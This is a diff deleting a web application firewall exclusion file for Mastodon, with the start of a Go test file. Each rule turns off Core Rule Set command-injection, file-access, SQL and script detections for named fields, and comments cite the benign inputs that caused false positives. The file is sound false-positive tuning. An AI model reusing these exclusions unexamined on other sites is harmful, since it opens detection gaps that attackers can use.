ctl:ruleRemoveTargetById=932270;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:password|retype|old_password|json\.password)$/"
-299
View File
@@ -1,299 +0,0 @@
# The twelfth change: on Mastodon's paths, some fields skip the rules that
# refused ordinary Mastodon requests there. They are the fields where Mastodon
# sends a search, a name, a title, a file name, an address or free text. Each
# exclusion runs with the request, before the rules it switches off, so this
# file is loaded before the Core Rule Set's rules. Each comment names a request
# a rule refused. An exclusion on a field of a body applies only when the query
# has no parameter of that name, so it matters only while SWW_WAF_BODY_LIMIT is
# set.
#
# Gitea serves /api/v1/ too, and Drupal serves /admin/. So only Mastodon's own
# resources under them count as Mastodon's paths.
#
# Four rules read a search, a name or free text as a command or a system file.
# Each exclusion below for such a field removes these four, and only these:
# 930120: .htaccess
# 932120: powershell
# 932250: ls -la
# 932260: python3
# The API's searches and names, in the query:
# q: /api/v2/search?q=python3, /api/v1/accounts/search?q=ls+-la
# acct: /api/v1/accounts/lookup?acct=python3
# username, display_name, email, by_domain: the admin API's search of
# accounts, /api/v1/admin/accounts?username=python3&display_name=powershell
SecRule REQUEST_FILENAME "@rx ^/api/v[12]/(?:search|accounts|admin/accounts)(?:/|$)" \
"id:900950,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:q|acct|username|display_name|email|by_domain)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:q|acct|username|display_name|email|by_domain)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:q|acct|username|display_name|email|by_domain)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:q|acct|username|display_name|email|by_domain)$/"
# The API's titles, names and free text, in form data or JSON bodies:
# spoiler_text, poll[options][]: posting, spoiler_text=python3+details
# description: describing an uploaded file, description=Screenshot+of+ls+-la
# display_name, note, fields_attributes[0][name], fields_attributes[0][value]:
# editing a profile, note=python3+and+powershell
# title: naming a list or a filter, title=python3+friends
# keyword, keywords_attributes[][keyword]: a filter's words, keyword=powershell
# name: featuring a hashtag, name=python3
# comment: a report, a note on an account or an IP block, comment=Knows+python3
# text: warning an account, text=Please+stop+posting+powershell+malware
# private_comment, public_comment: blocking a domain
# The web app sends these in JSON:
# spoiler_text, title and the poll's options
# description, and media_attributes[].description when it edits a post
# display_name, note and fields_attributes[].name and .value, on
# /api/v1/profile, {"note":"ls -la shows the .htaccess file"}
# comment, on a report or a note on an account
SecRule REQUEST_FILENAME "@rx ^/api/v[12]/(?:statuses|media|accounts|profile|lists|filters|featured_tags|reports|admin/(?:accounts|domain_blocks|ip_blocks))(?:/|$)" \
"id:900951,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:spoiler_text|poll\[options\]\[\]|description|display_name|note|fields_attributes\[\d+\]\[(?:name|value)\]|title|keyword|keywords_attributes\[\d*\]\[keyword\]|name|comment|text|private_comment|public_comment|json\.(?:spoiler_text|title|poll\.options\.\d+|description|media_attributes\.\d+\.description|display_name|note|fields_attributes\.\d+\.(?:name|value)|comment))$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:spoiler_text|poll\[options\]\[\]|description|display_name|note|fields_attributes\[\d+\]\[(?:name|value)\]|title|keyword|keywords_attributes\[\d*\]\[keyword\]|name|comment|text|private_comment|public_comment|json\.(?:spoiler_text|title|poll\.options\.\d+|description|media_attributes\.\d+\.description|display_name|note|fields_attributes\.\d+\.(?:name|value)|comment))$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:spoiler_text|poll\[options\]\[\]|description|display_name|note|fields_attributes\[\d+\]\[(?:name|value)\]|title|keyword|keywords_attributes\[\d*\]\[keyword\]|name|comment|text|private_comment|public_comment|json\.(?:spoiler_text|title|poll\.options\.\d+|description|media_attributes\.\d+\.description|display_name|note|fields_attributes\.\d+\.(?:name|value)|comment))$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:spoiler_text|poll\[options\]\[\]|description|display_name|note|fields_attributes\[\d+\]\[(?:name|value)\]|title|keyword|keywords_attributes\[\d*\]\[keyword\]|name|comment|text|private_comment|public_comment|json\.(?:spoiler_text|title|poll\.options\.\d+|description|media_attributes\.\d+\.description|display_name|note|fields_attributes\.\d+\.(?:name|value)|comment))$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:spoiler_text|poll\[options\]\[\]|description|display_name|note|fields_attributes\[\d+\]\[(?:name|value)\]|title|keyword|keywords_attributes\[\d*\]\[keyword\]|name|comment|text|private_comment|public_comment|json\.(?:spoiler_text|title|poll\.options\.\d+|description|media_attributes\.\d+\.description|display_name|note|fields_attributes\.\d+\.(?:name|value)|comment))$/"
# A post's text, in status, form data from an app or JSON from the web app.
# Each of these rules refused posting "Today I learned: `ls -la ~/.config`
# lists hidden files, and `python3 -m http.server` serves a folder", so they
# skip status: the four rules, 932125, 932230 and 932235.
SecRule REQUEST_FILENAME "@rx ^/api/v1/statuses(?:/|$)" \
"id:900952,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:json\.)?status$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?status$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:json\.)?status$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:json\.)?status$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:json\.)?status$/,\
ctl:ruleRemoveTargetById=932235;ARGS:/^(?:json\.)?status$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?status$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?status$/"
# Uploaded files' names skip 932180, which refused uploading
# "Example .htaccess.png" as a server's own file, for a post or as a profile's
# picture. Coraza keeps these names without the field each came in. Mastodon
# refuses a file of a type it does not allow.
SecRule REQUEST_FILENAME "@rx ^/api/v[12]/media$|^/api/v1/accounts/update_credentials$|^/api/v1/profile$" \
"id:900953,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=932180;FILES"
# The admin pages' searches, in the query:
# username, display_name, email: /admin/accounts?username=python3
# by_domain: /admin/instances?by_domain=python3
# shortcode: /admin/custom_emojis?shortcode=python3
# name: /admin/tags?name=python3
SecRule REQUEST_FILENAME "@rx ^/admin/(?:accounts|instances|custom_emojis|tags)$" \
"id:900954,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:username|display_name|email|by_domain|shortcode|name)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:username|display_name|email|by_domain|shortcode|name)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:username|display_name|email|by_domain|shortcode|name)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:username|display_name|email|by_domain|shortcode|name)$/"
# The admin pages' free text, in bodies:
# domain_block[private_comment], domain_block[public_comment]: blocking a
# domain, "Spam about powershell and .htaccess"
# ip_block[comment]: blocking an address
# rule[text], rule[hint]: a server rule, "No posting of powershell malware"
# announcement[text]: an announcement
# form_admin_settings[site_title], [site_short_description],
# [site_extended_description]: the server's name and descriptions,
# "Python3 social"
# admin_account_action[text]: warning an account, on
# /admin/accounts/<id>/action
# report_note[content], account_moderation_note[content]: a moderator's
# note on a report or an account, "ls -la shows the .htaccess file"
# account_warning_preset[title], [text]: a preset warning
# user_role[name]: a role
# terms_of_service[text], [changelog]: the terms of service
SecRule REQUEST_FILENAME "@rx ^/admin/(?:domain_blocks|ip_blocks|rules|announcements|settings|accounts/[^/]+/action|report_notes|account_moderation_notes|warning_presets|roles|terms_of_service)(?:/|$)" \
"id:900955,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:domain_block\[(?:private|public)_comment\]|ip_block\[comment\]|rule\[(?:text|hint)\]|announcement\[text\]|form_admin_settings\[site_(?:title|short_description|extended_description)\]|admin_account_action\[text\]|(?:report_note|account_moderation_note)\[content\]|account_warning_preset\[(?:title|text)\]|user_role\[name\]|terms_of_service\[(?:text|changelog)\])$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:domain_block\[(?:private|public)_comment\]|ip_block\[comment\]|rule\[(?:text|hint)\]|announcement\[text\]|form_admin_settings\[site_(?:title|short_description|extended_description)\]|admin_account_action\[text\]|(?:report_note|account_moderation_note)\[content\]|account_warning_preset\[(?:title|text)\]|user_role\[name\]|terms_of_service\[(?:text|changelog)\])$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:domain_block\[(?:private|public)_comment\]|ip_block\[comment\]|rule\[(?:text|hint)\]|announcement\[text\]|form_admin_settings\[site_(?:title|short_description|extended_description)\]|admin_account_action\[text\]|(?:report_note|account_moderation_note)\[content\]|account_warning_preset\[(?:title|text)\]|user_role\[name\]|terms_of_service\[(?:text|changelog)\])$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:domain_block\[(?:private|public)_comment\]|ip_block\[comment\]|rule\[(?:text|hint)\]|announcement\[text\]|form_admin_settings\[site_(?:title|short_description|extended_description)\]|admin_account_action\[text\]|(?:report_note|account_moderation_note)\[content\]|account_warning_preset\[(?:title|text)\]|user_role\[name\]|terms_of_service\[(?:text|changelog)\])$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:domain_block\[(?:private|public)_comment\]|ip_block\[comment\]|rule\[(?:text|hint)\]|announcement\[text\]|form_admin_settings\[site_(?:title|short_description|extended_description)\]|admin_account_action\[text\]|(?:report_note|account_moderation_note)\[content\]|account_warning_preset\[(?:title|text)\]|user_role\[name\]|terms_of_service\[(?:text|changelog)\])$/"
# The settings pages' names, words and addresses, and passwords, in bodies:
# custom_filter[title], custom_filter[keywords_attributes][0][keyword]: a
# filter, "python3 spam" and "ls -la"
# doorkeeper_application[name], doorkeeper_application[website]: an
# application, "https://example.org/powershell"
# account_alias[acct], account_migration[acct]: moving an account
# user[password], user[password_confirmation], user[current_password]:
# signing in, signing up and changing the password
# user[invite_request_attributes][text]: why someone signs up, while sign-ups
# need approval
# account_migration[current_password], form_redirect[current_password],
# form_delete_confirmation[password]: moving or deleting an account
SecRule REQUEST_FILENAME "@rx ^/(?:filters|settings/(?:applications|aliases|migration|delete)|auth)(?:/|$)" \
"id:900956,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:custom_filter\[(?:title|keywords_attributes\]\[\d+\]\[keyword)\]|doorkeeper_application\[(?:name|website)\]|account_(?:alias|migration)\[acct\]|user\[(?:password|password_confirmation|current_password)\]|user\[invite_request_attributes\]\[text\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:custom_filter\[(?:title|keywords_attributes\]\[\d+\]\[keyword)\]|doorkeeper_application\[(?:name|website)\]|account_(?:alias|migration)\[acct\]|user\[(?:password|password_confirmation|current_password)\]|user\[invite_request_attributes\]\[text\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:custom_filter\[(?:title|keywords_attributes\]\[\d+\]\[keyword)\]|doorkeeper_application\[(?:name|website)\]|account_(?:alias|migration)\[acct\]|user\[(?:password|password_confirmation|current_password)\]|user\[invite_request_attributes\]\[text\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:custom_filter\[(?:title|keywords_attributes\]\[\d+\]\[keyword)\]|doorkeeper_application\[(?:name|website)\]|account_(?:alias|migration)\[acct\]|user\[(?:password|password_confirmation|current_password)\]|user\[invite_request_attributes\]\[text\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:custom_filter\[(?:title|keywords_attributes\]\[\d+\]\[keyword)\]|doorkeeper_application\[(?:name|website)\]|account_(?:alias|migration)\[acct\]|user\[(?:password|password_confirmation|current_password)\]|user\[invite_request_attributes\]\[text\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/"
# The web app's search page: /search?q=python3.
SecRule REQUEST_FILENAME "@streq /search" \
"id:900957,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:q,\
ctl:ruleRemoveTargetById=932120;ARGS:q,\
ctl:ruleRemoveTargetById=932250;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q"
# Deliveries from other servers to an inbox, in JSON. The fields of the object
# delivered skip the four rules:
# content, contentMap: a post, "<p>notes on python3, powershell, ...</p>"
# summary, summaryMap: a post's content warning, or a profile's text
# name: a profile's name, "Alice powershell"
# attachment: a picture's description, or a profile's fields
# oneOf, anyOf: a poll's options, "python3"
SecRule REQUEST_FILENAME "@rx ^/(?:inbox|users/[^/]+/inbox|ap/users/[0-9]+/inbox)$" \
"id:900958,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.object\./ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.object\.(?:content|contentmap\.[^.]+|summary|summarymap\.[^.]+|name|attachment\.\d+\.(?:name|value)|(?:oneof|anyof)\.\d+\.name)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.object\.(?:content|contentmap\.[^.]+|summary|summarymap\.[^.]+|name|attachment\.\d+\.(?:name|value)|(?:oneof|anyof)\.\d+\.name)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.object\.(?:content|contentmap\.[^.]+|summary|summarymap\.[^.]+|name|attachment\.\d+\.(?:name|value)|(?:oneof|anyof)\.\d+\.name)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.object\.(?:content|contentmap\.[^.]+|summary|summarymap\.[^.]+|name|attachment\.\d+\.(?:name|value)|(?:oneof|anyof)\.\d+\.name)$/"
# When someone on another server looks up a link to a profile or a post here,
# such as /@admin or /@admin/117589811962372311, that server fetches the link
# with this header. It sends it again to the account or post the link leads to.
# 920600 refused it as a malformed Accept header:
# Accept: application/ld+json; profile="https://www.w3.org/ns/activitystreams",
# application/activity+json, text/html;q=0.1
SecRule REQUEST_FILENAME "@rx ^/@[^/]+(?:/[0-9]+)?$|^/(?:ap/)?users/|^/actor$" \
"id:900959,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=920600;REQUEST_HEADERS:Accept"
# Signing up through the API, in form data or JSON:
# password, reason: password=ls+-la+shows+the+.htaccess+file
SecRule REQUEST_FILENAME "@streq /api/v1/accounts" \
"id:900960,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:json\.)?(?:password|reason)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?(?:password|reason)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:json\.)?(?:password|reason)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?(?:password|reason)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?(?:password|reason)$/"
# The passwords named above skip each rule that random passwords set off, and
# so does form_challenge[current_password]: confirming the password at
# /auth/challenge, or on the two-factor settings pages that ask for it again.
SecRule REQUEST_FILENAME "@rx ^/(?:settings/(?:migration|delete|two_factor_authentication(?:_methods)?)|auth)(?:/|$)" \
"id:900965,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/ "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/"
SecRule REQUEST_FILENAME "@streq /api/v1/accounts" \
"id:900966,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:json\.)?password$/ "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:json\.)?password$/"
# The web app's reports have the JSON keys forward and forward_to_domains. A
# report forwarded to another server lists that server in forward_to_domains.
# Their names contain .forward, a file in a home folder, so 930120 refused every
# report the web app sent. The names are:
# json.forward
# json.forward_to_domains
# json.forward_to_domains.0, json.forward_to_domains.1 and so on, one per
# server, such as remote.example
SecRule REQUEST_FILENAME "@streq /api/v1/reports" \
"id:900961,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.forward/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS_NAMES:/^json\.forward(?:_to_domains(?:\.\d+)?)?$/"
# A hashtag and a username hold only letters, digits and underscores. So the
# web app's featured hashtags and the sign-up form's username skip only 932120
# and 932260, which refused the hashtag or username python3 or powershell.
SecRule REQUEST_FILENAME "@streq /api/v1/featured_tags" \
"id:900962,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.name$/ "@eq 0" \
"ctl:ruleRemoveTargetById=932120;ARGS:/^json\.name$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.name$/"
SecRule REQUEST_FILENAME "@streq /auth" \
"id:900963,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^user\[account_attributes\]\[username\]$/ "@eq 0" \
"ctl:ruleRemoveTargetById=932120;ARGS:/^user\[account_attributes\]\[username\]$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^user\[account_attributes\]\[username\]$/"
# The sign-up, sign-in, password reset and account settings forms send an
# email address in user[email]. It skips 930120, 932120 and 932260, which
# refused these addresses:
# 930120: jane.profile@example.com
# 932120: powershell@example.com
# 932260: python3@example.com
# An address holds no spaces, so it keeps 932250, which needs ls -la.
SecRule REQUEST_FILENAME "@rx ^/auth(?:/|$)" \
"id:900964,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^user\[email\]$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^user\[email\]$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^user\[email\]$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^user\[email\]$/"
-651
View File
@@ -1,651 +0,0 @@
package coreruleset_test
import (
"encoding/json"
"fmt"
"net/http"
"net/url"
"slices"
"strings"
"testing"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
)
// mastodonThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
const mastodonThreshold = 5
// mastodonStatuses is where Mastodon's apps and web app post.
